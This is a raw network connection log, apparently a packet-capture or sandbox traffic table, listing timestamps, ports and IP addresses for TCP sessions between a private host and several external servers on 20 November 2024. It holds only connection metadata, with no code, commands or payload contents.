Nov 20, 2024 00:19:29.529233932 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.529288054 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.529560089 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.529572964 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.585201979 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.585855007 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.585864067 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.586494923 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.586508989 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.595032930 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.595558882 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.595571041 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.596066952 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.596071005 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.623806953 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:29.624435902 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:29.624459028 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:29.625385046 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:29.625389099 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:29.625406027 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:29.625416040 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:29.694308996 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.694364071 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.694432020 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.694878101 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.694889069 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.694897890 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.694901943 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.698502064 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.698510885 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.698697090 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.698901892 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.698913097 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.704955101 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.705087900 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.705152035 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.705255032 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.705264091 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.705271959 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.705276012 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.708815098 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.708831072 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.708898067 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.709182978 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.709194899 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.165888071 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.165908098 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.165993929 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.166243076 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.166254044 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.206001043 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.206675053 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.206691980 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.207263947 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.207268000 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.210398912 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.210957050 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.210975885 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.211424112 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.211427927 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.320314884 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.320375919 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.320677042 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.320677042 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.320677042 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.323956966 CET	62129	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.323968887 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.324049950 CET	62129	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.324253082 CET	62129	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.324263096 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.328528881 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.328628063 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.328767061 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.328797102 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.328804016 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.328835964 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.328845024 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.331212997 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.331255913 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.331459999 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.331592083 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.331607103 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.370671988 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.370697021 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.370743990 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.370769024 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.370779037 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.370810986 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.370820999 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.370969057 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.371604919 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.371612072 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.371620893 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.371625900 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.404946089 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.405411005 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.405419111 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.406132936 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.406140089 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.420924902 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.421313047 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.421319962 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.421890020 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.421895981 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.436985970 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.436996937 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.437597036 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.438930988 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:30.438939095 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:30.440623045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:30.440705061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:30.515023947 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.515083075 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.515163898 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.515465975 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.515465975 CET	62127	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.515477896 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.515486002 CET	443	62127	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.518722057 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.518747091 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.519210100 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.519381046 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.519391060 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.528486967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:30.533710003 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.533771992 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.533973932 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.534035921 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.534040928 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.534050941 CET	62126	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.534060001 CET	443	62126	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.534157991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:30.536747932 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.536760092 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.536895990 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.537060976 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.537072897 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.566046953 CET	443	62109	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.566689968 CET	62109	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.566703081 CET	443	62109	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.567073107 CET	62109	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.567090988 CET	443	62109	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.652225018 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.652548075 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.652558088 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.653645992 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.653712988 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.654069901 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.654134035 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.654309988 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.654316902 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.670650005 CET	443	62109	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.670731068 CET	443	62109	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.670876980 CET	62109	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.671039104 CET	62109	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.671039104 CET	62109	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.671056032 CET	443	62109	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.671063900 CET	443	62109	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.674438000 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.674464941 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.674541950 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.674751997 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.674766064 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.680412054 CET	62125	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.680428982 CET	443	62125	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.742908001 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.759731054 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.759793043 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.759850025 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.759860992 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.759921074 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.759928942 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.759980917 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.761926889 CET	62128	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.761936903 CET	443	62128	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.763887882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:30.763946056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:30.763957024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:30.763983011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:30.764002085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:30.764044046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:30.768943071 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.768989086 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.769062042 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.769242048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:30.769347906 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:30.769365072 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:30.784250975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:30.976759911 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.977358103 CET	62129	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.977372885 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:30.977905035 CET	62129	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:30.977909088 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.005815983 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.006309032 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.006326914 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.006799936 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.006807089 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.013794899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:31.013858080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:31.028146029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:31.034486055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:31.083036900 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.083200932 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.083261013 CET	62129	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.083472013 CET	62129	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.083482027 CET	443	62129	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.087058067 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.087107897 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.087380886 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.087934017 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.087955952 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.115773916 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.115823030 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.116125107 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.116125107 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.116158962 CET	62130	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.116177082 CET	443	62130	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.121020079 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.121043921 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.121124029 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.121582985 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.121593952 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.189893961 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.190534115 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.190547943 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.191085100 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.191091061 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.226183891 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.226722002 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.226735115 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.227202892 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.227207899 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.261532068 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.262089968 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.262098074 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.262900114 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.262904882 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.262940884 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.262948990 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.264785051 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.265126944 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.265142918 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.265492916 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.265818119 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.265877962 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.266160965 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.295329094 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.295386076 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.295485020 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.295649052 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.295672894 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.295684099 CET	62132	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.295690060 CET	443	62132	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.298798084 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.298835039 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.298902035 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.299034119 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.299050093 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.311338902 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.336486101 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.336848974 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.336929083 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.336970091 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.336976051 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.336996078 CET	62133	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.336999893 CET	443	62133	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.339854956 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.339874029 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.340003014 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.340181112 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.340193033 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.358275890 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.358871937 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.358882904 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.359447956 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.359452009 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.372767925 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.372822046 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.372895002 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.372926950 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.372970104 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.373023987 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.373948097 CET	62135	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.373964071 CET	443	62135	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.381438017 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.381457090 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.381567955 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.381805897 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.381817102 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.467125893 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.467221975 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.467283010 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.467562914 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.467577934 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.467587948 CET	62134	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.467600107 CET	443	62134	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.491669893 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.491678953 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.491796970 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.492197990 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.492213011 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.593327045 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.593354940 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.593391895 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.593424082 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.593439102 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.593451977 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.593518019 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.593575954 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.594026089 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.594033003 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.594042063 CET	62131	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.594044924 CET	443	62131	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.657720089 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.657764912 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.657985926 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.658164024 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:31.658181906 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:31.753140926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:31.753211975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:31.782250881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:31.830122948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:31.895586967 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.896189928 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.896207094 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.896764994 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.896769047 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.899736881 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.900130987 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.900145054 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.900562048 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.900566101 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.933883905 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.934195995 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.934211016 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.934721947 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.935091972 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:31.935216904 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:31.935715914 CET	62140	443	192.168.2.5	104.117.182.9
